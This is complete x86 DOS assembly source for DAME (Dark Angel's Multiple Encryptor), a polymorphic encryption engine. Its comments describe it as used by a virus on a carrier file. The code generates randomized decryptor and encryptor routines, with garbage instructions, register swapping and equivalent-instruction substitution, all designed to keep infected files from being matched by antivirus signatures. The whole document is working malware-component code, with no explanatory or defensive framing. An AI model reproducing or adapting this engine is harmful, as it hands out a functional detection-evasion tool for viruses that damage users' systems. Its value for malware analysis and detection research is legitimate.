ifndef vars
vars = 2
endif

if vars eq 1
else

_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7

_es = 8
_cs = 9
_ss = 0a
_ds = 0bh

MAXNEST = 0a            ; controls recursion problems

; ax = flags
;       15 : Reserved
;       14 : 0 = word, 1 = dword
;       13 : encryption direction : 0 = forwards, 1 = backwards
;       12 : counter direction : 0 = forwards, 1 = backwards
;       11 :    ^
;       10 :    R
;        9 :    E
;        8 :    S
;        7 :    E
;        6 :    R
;        5 :    V
;        4 :    E
;        3 :    D
;        2 :    v
; DAME sets the above bits
;
; Virus sets the following bits:
;        1 : garble : 1 = yes, 0 = no
;        0 : DS = CS : 1 = yes, 0 = no
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt
; si = buffer to put decryption routine
; di = buffer to put encryption routine
; ds = current cs
; es = current cs

; Returns:
;  cx = decryption routine length
;  all other registers are preserved.

rnd_init_seed:
        push    dx
        push    cx
        push    bx
        mov     ah,2C                   ; get time
        int     21

        in      al,40                   ; port 40h, 8253 timer 0 clock
        mov     ah,al
        in      al,40                   ; port 40h, 8253 timer 0 clock
        xor     ax,cx
        xor     dx,ax
        jmp     short rnd_get_loop_done
get_rand:
        push    dx
        push    cx
        push    bx
        in      al,40                   ; get from timer 0 clock
        db      5 ; add ax, xxxx
rnd_get_patch1  dw      0
                db      0BA  ; mov dx, xxxx
rnd_get_patch2  dw      0
        mov     cx,7

rnd_get_loop:
        shl     ax,1
        rcl     dx,1
        mov     bl,al
        xor     bl,dh
        jns     rnd_get_loop_loc
        inc     al
rnd_get_loop_loc:
        loop    rnd_get_loop

rnd_get_loop_done:
        mov     rnd_get_patch1,ax
        mov     rnd_get_patch2,dx
        mov     al,dl
        pop     bx
        pop     cx
        pop     dx
        retn

reg_xlat_table:
        db      10000111b ; bx
        db      0         ; sp
        db      10000110b ; bp
        db      10000100b ; si
        db      10000101b ; di

aligntable      db      3,7,0f,1f

redo_dame:
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
dame:   ; Dark Angel's Multiple Encryptor
        cld
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        call    _dame
        pop     di
        pop     si
        pop     dx
        pop     bx ; return value in cx
        pop     bx
        pop     ax
        ret

_dame:
; set up variables
        cld

        push    ax

        mov     ax,offset _encryptpointer
        xchg    ax,di           ; pointer to encryption routine buffer
        stosw
        xchg    si,ax           ; pointer to decryption routine buffer
        stosw

        stosw

        xchg    ax,dx           ; starting offset of encryption
        stosw
        xchg    ax,bx           ; starting offset of decryption routine
        stosw

        xchg    cx,dx           ; dx = encrypt size

        call    clear_used_regs
        mov     cx,(endclear1 - beginclear1) / 2
        rep     stosw

        call    get_rand
        and     ax,not 3

        pop     cx
        xor     cx,ax           ; cx = bitmask

        call    get_rand_bx
        and     bx,3
        mov     al,byte ptr [bx+aligntable]
        cbw
        add     dx,ax           ; round up
        not     ax
        and     dx,ax

        mov     ax,dx           ; new encryption length
        stosw                   ; _encrypt_length

        shr     ax,1
        test    ch,40 ; dword?
        jz      word_encryption
        shr     ax,1
word_encryption:
        test    ch,10
        jnz     counter_backwards
        neg     ax
counter_backwards:
        stosw                   ; _counter_value

        xchg    ax,dx           ; get encryption length in bytes

        test    ch,20
        jnz     encrypt_forwards
        neg     ax              ; pointer to start of decryption
encrypt_forwards:
        stosw                   ; _pointer_value

        call    get_rand
        stosw                   ; encryption value = _decrypt_value

        mov     ax,8484
        stosb
        push    di
        stosw
        stosb
        pop     di

        call    one_in_two
        js      s1
        call    get_another
        stosb
        call    get_rand
        mov     _pointer_value,ax
        dec     di
s1:
        inc     di

        jmp     short gbxoh_skip
get_bx_or_higher:
        call    clear_reg
gbxoh_skip:
        call    get_another
        cmp     al,_bx
        jb      get_bx_or_higher
        stosb                   ; _pointer_reg

        call    one_in_two
        js      s2
        call    get_another
        stosb                   ; _encrypt_reg
s2:

; encode setup part of decryption
        call    clear_used_regs
encode_setup:
        mov     di,_decryptpointer
        call    twogarble

        mov     si,offset _dummy_reg
        push    si
encode_setup_get_another:
        call    get_rand_bx
        and     bx,3
        mov     al,[si+bx]
        cbw
        test    al,80
        jnz     encode_setup_get_another
        or      byte ptr [bx+_dummy_reg],80
        mov     si,ax
        inc     byte ptr [si+offset _used_regs]

        add     bx,bx
        mov     dx,word ptr [bx+_counter_value-2]

        mov     _nest,0
        call    mov_reg_xxxx
        call    twogarble
        call    swap_decrypt_encrypt

        push    cx
        and     cl,not 3
        call    _mov_reg_xxxx
        pop     cx

        mov     _encryptpointer,di

        pop     si
        mov     dx,4
encode_setup_check_if_done:
        lodsb
        test    al,80
        jz      encode_setup
        dec     dx
        jnz     encode_setup_check_if_done

        mov     si,offset _encryptpointer
        mov     di,offset _loopstartencrypt
        movsw
        movsw

; encode decryption part of loop
        mov     _relocate_amt,0
        call    do_encrypt1
        test    ch,40
        jz      dont_encrypt2

        mov     _relocate_amt,2
        call    do_encrypt1
dont_encrypt2:
        mov     bx,offset _loopstartencrypt
        push    cx
        and     cl,not 3
        call    encodejmp
        pop     cx

        mov     ax,0c3fc ; cld, ret
        stosw

        mov     si,offset _encrypt_relocator
        mov     di,_start_encrypt

        push    cx
        call    relocate
        pop     cx

        mov     bx,offset _loopstartdecrypt
        call    encodejmp
        call    fourgarble
        mov     _decryptpointer,di

        mov     si,offset _decrypt_relocator
        sub     di,_decryptpointer2
        add     di,_start_decrypt
relocate:
        test    ch,20
        jz      do_encrypt_backwards
        add     di,_encrypt_length
do_encrypt_backwards:
        sub     di,_pointer_value
        mov     cx,word ptr [si-2]
        jcxz    exit_relocate
        xchg    ax,di
relocate_loop:
        xchg    ax,di
        lodsw
        xchg    ax,di
        add     [di],ax
        loop    relocate_loop
exit_relocate:
        mov     di,_decryptpointer
        mov     cx,di
        sub     cx,_decryptpointer2
        ret

do_encrypt1:
        call    playencrypt
        call    encryption
        call    playencrypt
        ret

encodejmp:
        mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]

        push    bx
        mov     _nest,0
        mov     al,_pointer_reg
        and     ax,7
        mov     dx,2
        test    ch,40
        jz      update_pointer1
        shl     dx,1
update_pointer1:
        test    ch,20
        jz      update_pointer2
        neg     dx
update_pointer2:
        call    add_reg_xxxx

        mov     dl,75   ; jnz

        mov     al,_counter_reg
        and     ax,7
        cmp     al,_sp
        jz      do_jnz

        push    dx
        mov     dx,1

        test    ch,10 ; check counter direction
        jz      go_counter_forwards

        cmp     al,_cx
        jnz     regular
        call    one_in_two
        js      regular

        pop     dx
        call    get_rand_bx
        xchg    bx,dx
        and     dl,2
        or      dl,0e0  ; loop/loopnz
        jmp     short do_jnz
regular:
        neg dx
go_counter_forwards:
        call    add_reg_xxxx
        pop     dx
do_jnz:
        pop     bx
        mov     ax,[bx]
        sub     ax,di
        dec     ax
        dec     ax
        xchg    ah,al
        mov     al,dl   ; jnz

        test    ah,80
        jnz     jmplocation_okay

        pop     ax
        pop     ax
        jmp     redo_dame
jmplocation_okay:
        stosw
        mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
        ret

swap_decrypt_encrypt:
        mov     _nest,MAXNEST
        mov     _decryptpointer,di
        mov     di,_encryptpointer
        ret

playencrypt:
        mov     di,_decryptpointer
        call    twogarble

        mov     al,_encrypt_reg
        and     ax,7
        cmp     al,4    ; is there an encryption register?
        jz      swap_decrypt_encrypt

        call    get_rand_bx     ; 3/4 chance of doing something
        cmp     bl,0c0
        ja      swap_decrypt_encrypt

        call    _playencrypt
        call    handle_jmp_table_nogarble
finish_encryption:
        call    swap_decrypt_encrypt
        push    cx
        and     cl,not 3
        call    [bx+si+1]
        pop     cx
        mov     _encryptpointer,di
        ret

_playencrypt:
        mov     _nest,0
        call    one_in_two
        js      get_used_register

        call    get_rand_bx
        mov     si,offset oneregtable
        jmp     short continue_playencrypt

get_used_register:
        call    get_rand_bx
        and     bx,7
        cmp     bl,_sp
        jz      get_used_register
        cmp     byte ptr [bx+_used_regs],0
        jz      get_used_register
        mov     si,offset tworegtable
continue_playencrypt:
        xchg    dx,bx
        ret

encryption:
        mov     di,_decryptpointer
        call    twogarble
        mov     al,_pointer_reg
        and     ax,7
        mov     bx,offset reg_xlat_table-3
        xlat

        mov     bp,offset _decrypt_relocate_num
        call    _playencrypt
        call    go_next
        call    handle_jmp_table_nogarble

        mov     bp,offset _encrypt_relocate_num
        call    go_next
        jmp     short finish_encryption

go_next:
        push    ax
        lodsb
        cbw
        add     si,ax
        pop     ax
        inc     si
        inc     si
        ret

clear_used_regs:
        xor     ax,ax
        mov     di,offset _used_regs
        stosw
        stosw
        inc     ax
        stosw
        dec     ax
        stosw
        ret

get_another:
        call    get_rand
        and     ax,7
        mov     si,ax
        cmp     [si+_used_regs],0
        jnz     get_another
        inc     [si+_used_regs]
        ret

clear_reg_dx:
        xchg    ax,dx
clear_reg:
        mov     si,ax
        mov     byte ptr [si+_used_regs],0
        ret

free_regs:      ; check for free registers
                ; zero flag if OK
        push    ax
        push    cx
        push    di
        mov     di,offset _used_regs
        mov     cx,8
        xor     ax,ax
        repne   scasb
        pop     di
        pop     cx
        pop     ax
        ret

one_in_two:
        push    ax
        call    get_rand
        or      ax,ax
        pop     ax
        ret

get_rand_bx:
        xchg    ax,bx
        call    get_rand
        xchg    ax,bx
return:
        ret

fourgarble:
        call    twogarble
twogarble:
        mov     _nest,0
        call    garble
garble: ; ax, dx preserved
        call    free_regs
        jne     return

        test    cl,2
        jz      return

        push    ax
        push    dx

        call    get_rand                ; random # to dx
        xchg    ax,dx
        call    get_another             ; random reg in al
        call    clear_reg               ; don't mark as used

        mov     si,offset garbletable
        jmp     short handle_jmp_table_nopush_ax_dx

handle_jmp_table: ; ax,dx preserved
        push    si
        call    garble
        pop     si
handle_jmp_table_nogarble:
        push    ax
        push    dx
handle_jmp_table_nopush_ax_dx:
        push    si

        push    cx
        xchg    ax,cx
        lodsb           ; get mask value
        cbw
        xchg    ax,cx
        call    get_rand_bx
        and     bx,cx
        pop     cx

        inc     _nest
        cmp     _nest,MAXNEST
        jb      not_max_nest
        xor     bx,bx
not_max_nest:
        push    bx
        call    [bx+si]
        pop     bx
        pop     si
        pop     dx
        pop     ax

        ret

garble_tworeg:
        mov     si,offset tworegtable
        and     dx,7
        jmp     short handle_jmp_table_nogarble
garble_onereg:
        mov     si,offset oneregtable
        jmp     short handle_jmp_table_nogarble
garble_onebyte:
        xchg    ax,dx
        and     al,7
        mov     bx,offset onebytetable
        xlat
        stosb
        ret
garble_jmpcond:
        xchg    ax,dx
        and     ax,0f
        or      al,70
        stosw
        ret

_push:
        or      al,al
        js      _push_mem
        add     al,50
        stosb
        ret
_push_mem:
        add     ax,0ff30
        jmp     short go_mod_xxx_rm1

_pop:
        or      al,al
        js      _pop_mem
        add     al,58
        stosb
        ret
_pop_mem:
        mov     ah,8f
go_mod_xxx_rm1:
        jmp     mod_xxx_rm

mov_reg_xxxx:
        mov     si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
        jmp     short handle_jmp_table

_mov_reg_xxxx_mov_add:
        call    get_rand_bx
        push    bx
        sub     dx,bx
        call    mov_reg_xxxx
        pop     dx
        jmp     short go_add_reg_xxxx

_mov_reg_xxxx_mov_al_ah:
        cmp     al,_sp
        jae     _mov_reg_xxxx
        push    ax
        push    dx
        call    _mov_al_xx
        pop     dx
        pop     ax
        xchg    dh,dl
        jmp     short _mov_ah_xx

_mov_reg_xxxx_mov_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    mov_reg_xxxx
        pop     dx
        jmp     xor_reg_xxxx

_mov_reg_xxxx_xor_add:
        push    dx
        mov     dx,ax
        call    xor_reg_reg
        pop     dx
go_add_reg_xxxx:
        jmp     add_reg_xxxx

_mov_reg_xxxx_mov_rol:
        ror     dx,1
        call    mov_reg_xxxx
        jmp     short _rol

_mov_reg_xxxx_mov_ror:
        rol     dx,1
        call    mov_reg_xxxx
_ror:
        or      al,8
_rol:
        mov     ah,0d1
        jmp     mod_xxx_rm


_mov_reg_xxxx:
        add     al,0B8
        stosb
        xchg    ax,dx
        stosw
        ret

mov_ah_xx:
_mov_ah_xx:
        add     al,04
mov_al_xx:
_mov_al_xx:
        add     al,0B0
        mov     ah,dl
        stosw
        ret

mov_reg_reg:
        mov     si,offset mov_reg_reg_table
        jmp     short go_handle_jmp_table1

_mov_reg_reg_push_pop:
        push    ax
        xchg    dx,ax   ; al = reg2
        call    _push           ; push reg2
        pop     ax      ; al = reg1
        jmp     _pop            ; pop reg1
_mov_reg_reg:
        mov     ah,08Bh
        jmp     short _mod_reg_rm_direction

mov_xchg_reg_reg:
        call    one_in_two
        js      mov_reg_reg

xchg_reg_reg:
        mov     si,offset xchg_reg_reg_table
        jmp     handle_jmp_table

_xchg_reg_reg_push_pop:
        push    dx      ; save reg2
        push    ax      ; save reg1
        push    dx
        call    _push   ; push reg1
        pop     ax
        call    _push   ; push reg2
        pop     ax
        call    _pop    ; pop  reg1
        pop     ax
        jmp     _pop    ; pop  reg2

_xchg_reg_reg_3rd_reg:
        call    free_regs
        jne     _xchg_reg_reg

        push    dx      ; save reg2
        push    ax      ; save reg1
        call    get_another
        call    mov_xchg_reg_reg     ; mov/xchg reg3, reg2
        pop     dx      ; get reg1
        call    xchg_reg_reg    ; xchg reg3, reg1
        pop     dx      ; get reg2
        xchg    ax,dx   ; ax=reg2, dx=reg3
        call    mov_xchg_reg_reg    ; mov/xchg reg2, reg3
        jmp     clear_reg_dx

_xchg_reg_reg:
        or      al,al
        js      __xchg_reg_reg

        cmp     al,dl
        jg      _xchg_reg_reg_skip
        xchg    al,dl
_xchg_reg_reg_skip:
        or      dl,dl
        jz      _xchg_ax_reg
__xchg_reg_reg:
        xchg    al,dl
        mov     ah,87
        jmp     short _mod_reg_rm
_xchg_ax_reg:
        add     al,90
        stosb
        ret

xor_reg_xxxx_xor_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    xor_reg_xxxx
        pop     dx
        jmp     short xor_reg_xxxx

xor_reg_xxxx:
        mov     si,offset xor_reg_xxxx_table
        jmp     handle_jmp_table

_xor_reg_xxxx:
        or      al,030
        jmp     _81h_

xor_reg_reg:
        mov     si,offset xor_reg_reg_table
        jmp     handle_jmp_table

_xor_reg_reg:
        mov     ah,33
_mod_reg_rm_direction:
        or      al,al
        js      dodirection
        or      dl,dl
        js      _mod_reg_rm
        call    one_in_two
        js      _mod_reg_rm
dodirection:
        xchg    al,dl
        sub     ah,2
_mod_reg_rm:
        shl     al,1
        shl     al,1
        shl     al,1
        or      al,dl
mod_xxx_rm:
        or      al,al
        js      no_no_reg

        or      al,0c0
no_no_reg:
        xchg    ah,al

        test    ah,40
        jnz     exit_mod_reg_rm

        test    cl,1
        jnz     continue_mod_xxx_rm

        push    ax
        mov     al,2e
        stosb
        pop     ax
continue_mod_xxx_rm:
        stosw

        mov     si,cs:[bp]      ; need cs: overrides on bp
        add     si,si
        mov     cs:[si+bp+2],di
        inc     word ptr cs:[bp]

        mov     al,_relocate_amt
        cbw
exit_mod_reg_rm:
        stosw
        ret

add_reg_reg:
        mov     si,offset add_reg_reg_table
        jmp     handle_jmp_table

_add_reg_reg:
        mov     ah,3
        jmp     short _mod_reg_rm_direction

sub_reg_reg:
        mov     si,offset sub_reg_reg_table
        jmp     handle_jmp_table

_sub_reg_reg:
        mov     ah,2bh
        jmp     short _mod_reg_rm_direction

_add_reg_xxxx_inc_add:
        call    inc_reg
        dec     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_dec_add:
        call    dec_reg
        inc     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_add_add:
        call    get_rand_bx
        push    bx
        sub     dx,bx
        call    add_reg_xxxx
        pop     dx
        jmp     short add_reg_xxxx

add_reg_xxxx1:
        neg     dx
add_reg_xxxx:
        or      dx,dx
        jnz     cont
return1:
        ret
cont:
        mov     si,offset add_reg_xxxx_table
        jmp     handle_jmp_table

_add_reg_xxxx:
        or      al,al
        jz      _add_ax_xxxx
_81h_:
        or      al,al
        js      __81h
        add     al,0c0
__81h:
        mov     ah,81
        call    mod_xxx_rm
_encode_dx_:
        xchg    ax,dx
        stosw
        ret
_add_ax_xxxx:
        mov     al,5
_encode_al_dx_:
        stosb
        jmp     short _encode_dx_

sub_reg_xxxx1:
        neg     dx
sub_reg_xxxx:
_sub_reg_xxxx:
        or      dx,dx
        jz      return1

        or      al,al
        jz      _sub_ax_xxxx
        add     al,028
        jmp     short _81h_
_sub_ax_xxxx:
        mov     al,2dh
        jmp     short _encode_al_dx_

dec_reg:
        push    ax
        add     al,8
        jmp     short _dec_inc_reg
inc_reg:
        push    ax
_dec_inc_reg:
        or      al,al
        jns     _norm_inc
        mov     ah,0ff
        call    mod_xxx_rm
        pop     ax
        ret
_norm_inc:
        add     al,40
        stosb
        pop     ax
        ret

_mov_reg_reg_3rd_reg:
        mov     bx,offset mov_reg_reg
        mov     si,offset mov_xchg_reg_reg
        jmp     short reg_to_reg

xor_reg_reg_reg_reg:
        mov     bx,offset _xor_reg_reg
        jmp     short reg_to_reg1
add_reg_reg_reg_reg:
        mov     bx,offset _add_reg_reg
        jmp     short reg_to_reg1
sub_reg_reg_reg_reg:
        mov     bx,offset _sub_reg_reg
reg_to_reg1:
        mov     si,bx
reg_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax
        push    si
        call    get_another
        call    mov_reg_reg     ; mov reg3, reg2
        pop     si
        pop     dx              ; ax=reg3, dx=reg1
        xchg    ax,dx           ; ax=reg1, dx=reg3

        push    dx
        call    si
        pop     dx
go_clear_reg_dx:
        jmp     clear_reg_dx

_xor_reg_xxxx_reg_reg:
        mov     bx,offset xor_reg_xxxx
        mov     si,offset xor_reg_reg
xxxx_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax
        push    si
        call    get_another
        call    mov_reg_xxxx
        xchg    ax,dx
        pop     si
        pop     ax

        push    dx
        call    si
        pop     dx
        jmp     short go_clear_reg_dx
no_free_regs:
        jmp     bx

_add_reg_xxxx_reg_reg:
        mov     bx,offset add_reg_xxxx
        mov     si,offset add_reg_reg
        jmp     short xxxx_to_reg

_mov_reg_xxxx_reg_reg:
        mov     bx,offset mov_reg_xxxx
        mov     si,offset mov_xchg_reg_reg
        jmp     short xxxx_to_reg

garbletable:
        db      garbletableend - $ - 3
        dw      offset return
        dw      offset return
        dw      offset garble_tworeg
        dw      offset garble_tworeg
        dw      offset garble_onereg
        dw      offset garble_onereg
        dw      offset garble_onebyte
        dw      offset garble_jmpcond
garbletableend:

onebytetable:
        clc
        cmc
        stc
        cld
        std
        sti
        int     3
        lock

oneregtable:
        db      oneregtableend - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset mov_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtableend:

oneregtable1:
        db      oneregtable1end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtable1end:

oneregtable2:
        db      oneregtable2end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset inc_reg
        dw      offset dec_reg
        dw      offset _rol
        dw      offset _ror
oneregtable2end:

tworegtable:
        db      tworegtableend - $ - 3
        dw      offset xor_reg_reg
        dw      offset mov_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtableend:

tworegtable1:
        db      tworegtable1end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtable1end:

tworegtable2:
        db      tworegtable2end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset add_reg_reg
        dw      offset sub_reg_reg
tworegtable2end:

mov_reg_xxxx_table:
        db      mov_reg_xxxx_table_end - $ - 3
        dw      offset _mov_reg_xxxx
        dw      offset _mov_reg_xxxx_reg_reg
        dw      offset _mov_reg_xxxx_mov_add
        dw      offset _mov_reg_xxxx_mov_al_ah
        dw      offset _mov_reg_xxxx_mov_xor
        dw      offset _mov_reg_xxxx_xor_add
        dw      offset _mov_reg_xxxx_mov_rol
        dw      offset _mov_reg_xxxx_mov_ror

mov_reg_xxxx_table_end:

mov_reg_reg_table:
        db      mov_reg_reg_table_end - $ - 3
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg_3rd_reg
        dw      offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:

xchg_reg_reg_table:
        db      xchg_reg_reg_table_end - $ - 3
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg_push_pop
        dw      offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:

xor_reg_xxxx_table:
        db      xor_reg_xxxx_table_end - $ - 3
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx_reg_reg
        dw      offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:

xor_reg_reg_table:
        db      xor_reg_reg_table_end - $ - 3
        dw      offset _xor_reg_reg
        dw      offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:

add_reg_reg_table:
        db      add_reg_reg_table_end - $ - 3
        dw      offset _add_reg_reg
        dw      offset add_reg_reg_reg_reg
add_reg_reg_table_end:

sub_reg_reg_table:
        db      sub_reg_reg_table_end - $ - 3
        dw      offset _sub_reg_reg
        dw      offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:

add_reg_xxxx_table:
        db      add_reg_xxxx_table_end - $ - 3
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx_reg_reg
        dw      offset sub_reg_xxxx1
        dw      offset _add_reg_xxxx_inc_add
        dw      offset _add_reg_xxxx_dec_add
        dw      offset _add_reg_xxxx_add_add
        dw      offset _add_reg_xxxx_add_add

add_reg_xxxx_table_end:

endif

if vars eq 0
else

_nest                   db      ?       ; needed to prevent infinite recursion
_relocate_amt           db      ?

_loopstartencrypt       dw      ?
_loopstartdecrypt       dw      ?

_encryptpointer         dw      ?
_decryptpointer         dw      ?

_decryptpointer2        dw      ?

_start_encrypt          dw      ?
_start_decrypt          dw      ?

_used_regs              db      8 dup (?) ; 0 = unused
                                                        beginclear1:
_encrypt_relocate_num   dw      ?
_encrypt_relocator      dw      8 dup (?)

_decrypt_relocate_num   dw      ?
_decrypt_relocator      dw      10 dup (?)
                                                        endclear1:
_encrypt_length         dw      ?       ; based upon alignment

_counter_value          dw      ?       ; _counter_reg
_pointer_value          dw      ?
_decrypt_value          dw      ?

_dummy_reg              db      ?
_counter_reg            db      ?
_pointer_reg            db      ?       ; 4 = not in use
_encrypt_reg            db      ?

endif